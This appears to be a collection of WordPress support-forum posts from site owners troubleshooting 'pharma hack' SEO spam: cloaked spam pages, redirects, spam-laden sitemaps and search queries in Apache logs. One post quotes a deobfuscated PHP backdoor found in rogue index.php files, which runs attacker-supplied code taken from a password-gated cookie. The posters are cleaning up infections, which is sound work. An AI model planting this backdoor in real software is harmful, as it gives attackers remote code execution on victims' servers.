To date, I have done the following:
– deleted the .htaccess file and generated a new one
– searched through the typically vulnerable core folders/files (wp-config, wp-admin, uploads, theme headers/footers) and found no suspicious code.
– scanned the site (Sucuri plugin, Sucuri Sitecheck, ManageWP Security, VirusTotal, Google Transparency Report), and they are all giving the site a clean bill of health.
When searching with site:swanafl.org, you can clearly see pages that are displaying pharma links. However, the links take you to the correct pages on Swana FL’s site.
Is it possible the site is clean but that certain pages continue to be indexed by Google as pharma links? If so, how can I fix this? In truth, I have trouble wrapping my head around how Google works in regards to search results, indexing, etc. Any helpful advice would be greatly appreciated as the organization is actively registering users for upcoming conferences. Thank you in advance for your help!!!
]]>Hate to be that guy but I seem to be having a reoccurring inject of pharma pages that only appear through Google bot. The pages appear in the search bar of WooCommerce as a search which is then indexed by Google.
Things I’ve tried that hasn’t seem to removed the backdoor/pages:
– Scanned on Sucuri
– Installed anti-malware and Wordfence plugins
– Changed mysql password
– Removed inactive plugins/themes
– Re-installed in-use plugins/theme with fresh installations
– Removed the contents of wp-includes and wp-admin with a fresh install
– Downloaded /uploads folder and removed any non-standard files (php, js, etc)
– No suspicious cron jobs
– Located all base64_decode and searched for files using the string “wp_class_support”
– Removed any record of class_generic_support, widget_generic_support, wp_check_hash, fwp, ftp_credentials in mysql using phpmyadmin
One thing I’ve noticed in my Apache log is a reoccurring event like the below. Not sure if anyone can make sense of what’s making this call?
Fri Jan 15 04:53:36.806995 2021] [php7:notice] [pid 3015] [client 54.151.149.147:64978] WordPress database error Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8mb4_unicode_520_ci,COERCIBLE) for operation 'like' for query SELECT SQL_CALC_FOUND_ROWS aWp204435aDw_posts.ID FROM aWp204435aDw_posts WHERE 1=1 AND ( \n aWp204435aDw_posts.ID NOT IN (\n\t\t\t\tSELECT object_id\n\t\t\t\tFROM aWp204435aDw_term_relationships\n\t\t\t\tWHERE term_taxonomy_id IN (1385)\n\t\t\t)\n) AND (((aWp204435aDw_posts.post_title LIKE '%Mestinon Ret. 180 Mg Nebenwirkungen Mestinon 30 Mg \xe2\x8f\xb0\xe2\x96\xab\xf0\x9f\x8e\x9a\xef\xb8\x8f Best online Pharma: \xf0\x9f\x8e\x81 www.FastPharmacy.store \xf0\x9f\x8e\x81 - Mestinon 60 Mg Online \xf0\x9f\x8e\x9a\xef\xb8\x8f\xe2\x96\xab\xe2\x8f\xb0 Cost%') OR (aWp204435aDw_posts.post_excerpt LIKE '%Mestinon Ret. 180 Mg Nebenwirkungen Mestinon 30 Mg \xe2\x8f\xb0\xe2\x96\xab\xf0\x9f\x8e\x9a\xef\xb8\x8f Best online Pharma: \xf0\x9f\x8e\x81 www.FastPharmacy.store \xf0\x9f\x8e\x81 - Mestinon 60 Mg Online \xf0\x9f\x8e\x9a\xef\xb8\x8f\xe2\x96\xab\xe2\x8f\xb0 Cost%') OR (aWp204435aDw_posts.post_content LIKE '%Mestinon Ret. 180 Mg Nebenwirkungen Mestinon 30 Mg \xe2\x8f\xb0\xe2\x96\xab\xf0\x9f\x8e\x9a\xef\xb8\x8f Best online Pharma: \xf0\x9f\x8e\x81 www.FastPharmacy.store \xf0\x9f\x8e\x81 - Mestinon 60 Mg Online \xf0\x9f\x8e\x9a\xef\xb8\x8f\xe2\x96\xab\xe2\x8f\xb0 Cost%'))) AND (aWp204435aDw_posts.post_password = '') AND aWp204435aDw_posts.post_type = 'product' AND (aWp204435aDw_posts.post_status = 'publish') GROUP BY aWp204435aDw_posts.ID ORDER BY (CASE WHEN aWp204435aDw_posts.post_title LIKE '%Mestinon Ret. 180 Mg Nebenwirkungen Mestinon 30 Mg \xe2\x8f\xb0\xe2\x96\xab\xf0\x9f\x8e\x9a\xef\xb8\x8f Best online Pharma: \xf0\x9f\x8e\x81 www.FastPharmacy.store \xf0\x9f\x8e\x81 - Mestinon 60 Mg Online \xf0\x9f\x8e\x9a\xef\xb8\x8f\xe2\x96\xab\xe2\x8f\xb0 Cost%' THEN 2 ELSE 6 END), aWp204435aDw_posts.post_date DESC LIMIT 0, 12 made by require('wp-blog-header.php'), wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
Would anyone be able to recommend other avenues to explore?
Any help greatly appreciated!
]]>I recently used Wordfence to fix (I think) what appears to be a pharma hack on one of my sites. I additionally removed all of the sitemaps from Google Search Console. However, I am getting an error when navigating to the site from google search. I can access it fine when directly navigating to it.
The error is below:
Not Found
The requested URL /Detox/collaborators-belts.php was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache Server at www.detoxnightclub.com Port 80Additionally, in Google Search Console, there are 87 products with errors listed that are all related to the pharma hack. What other steps can I take to get rid of those?
]]>WordPress Version: 5.2.1
Theme: Mesmerize
Plugins: ALL are deactivated
Issue 1:
403 Forbidden Forbidden You don’t have permission to access /wp-admin/admin-ajax.php on this server.
I get this message any time I try to update or delete a plugin. It also shows this message on the Dashboard tab of the Admin panel.
Things I’ve tried:
1. Deactivating all plugins
2. Via FTP I have verified admin-ajax.php permission code is set to 640
3. Via FTP I have verified all WP folder permissions are set to 755
4. Installed WP Super Cache, there are no cached contents showing to delete
5. Cleared theme cache
Is there anything I should be checking at the host level?
Issue 2:
When clicking on my site from a search engine it redirects to a pharma scam site.
Things I’ve tried to fix this:
1. Inspected htaccess which looks normal. I tried deleting it and generating a new file but a new file was never created. I’ve compared my file with other “normal” ones online and they look the same.
2. Inspected all *.php files (index, header, footer, etc.). I know it is common to encode PHP in these files to facilitate the redirect but all of mine look normal.
I’ve seen vague mention of these redirects working via scripts or an infected database but I haven’t found much information on how to troubleshoot those cases.
Thanks!
]]>Unfortunately, all of the XML files are littered with random Pharma words and links. For example…
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They’ve used load of different urls, words and phrases.
My question is, is there a quick way to clean the files before uploading? Other than manually searching and deleting, which isn’t really an option as there’s 6 years of content!
Many thanks for any help
Luke
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The code is, um, coded, I think. I went to unphp.net and pasted the text from what I think are rogue index.php files and it produced this, which matches some phrases from https://pearsonified.com/2010/04/wordpress-pharma-hack.php and other help bloggers:
<?php
// GNU General Public License
$rw = "_COOKIE";
$f5b = & $$rw;
$slj = array("wm" => "6arun8qp", "l7z" => @$f5b["12ai"], "q1" => "create_function", "qz" => "base64_decode", "rr" => "bffa2859c8e20b541c2a1c4bfbd5dad9", "ns" => "md5");
$vha = "extract";
$vha($slj);
if ($ns(@$f5b[$wm]) == $rr) {
$li = $q1("", $qz($l7z));
$li();
} ?>I think I need to replace this index.php files but am checking before I do, in case the index.php files with this code in them are legit…
Obviously I will not write over index.php files such as in the theme.
]]>I’m looking for a plugin that can manage and display a product development pipeline — in this case, for pharmaceutical candidates. It’s basically an elaborate table, but I’d like it to be interactive with the product names and have some visual flare. And it needs to integrate with a theme that’s retina/responsive. Anybody have any suggestions? Or maybe just a good table plugin?
Here are a couple of examples of what they typically look like:
Thanks in advance!
m
I think i’ve discover a new attack… I search some similar cases but i’ve found nothing…
This time the hackers modify only the description of some of your best SERPs.
They add a italian-latin language mixed with pharma words. You can see an example of hacked sites searching:
1) https://www.google.es/search?q=%22Caratteristiche+il+verr%C3%A0+grande+oltre+pensano+l%27+vasai%22&ie=utf-8&oe=utf-8&gws_rd=cr&ei=5nQGVtDEM8K7ad7sraAO
2) https://www.google.es/search?q=%22San+italiana+crisi+sottoposta+come+un+sisto+particolare%22&ie=utf-8&oe=utf-8&gws_rd=cr&ei=dHYGVrnRKIGaae2gi6AO
As you can see there are pharma words inside the description.
Only Google Bot can see this phrases and link, a normal user see a normal page (look the cache result if you want to look how google bot see the hacked page).
They simply change your title description.
Now… my site is hacked in this way and i spend so much hours to understand how they do it, but i’ve not found solutions. Anybodoy has a similar case? Any idea?
Best regards to all
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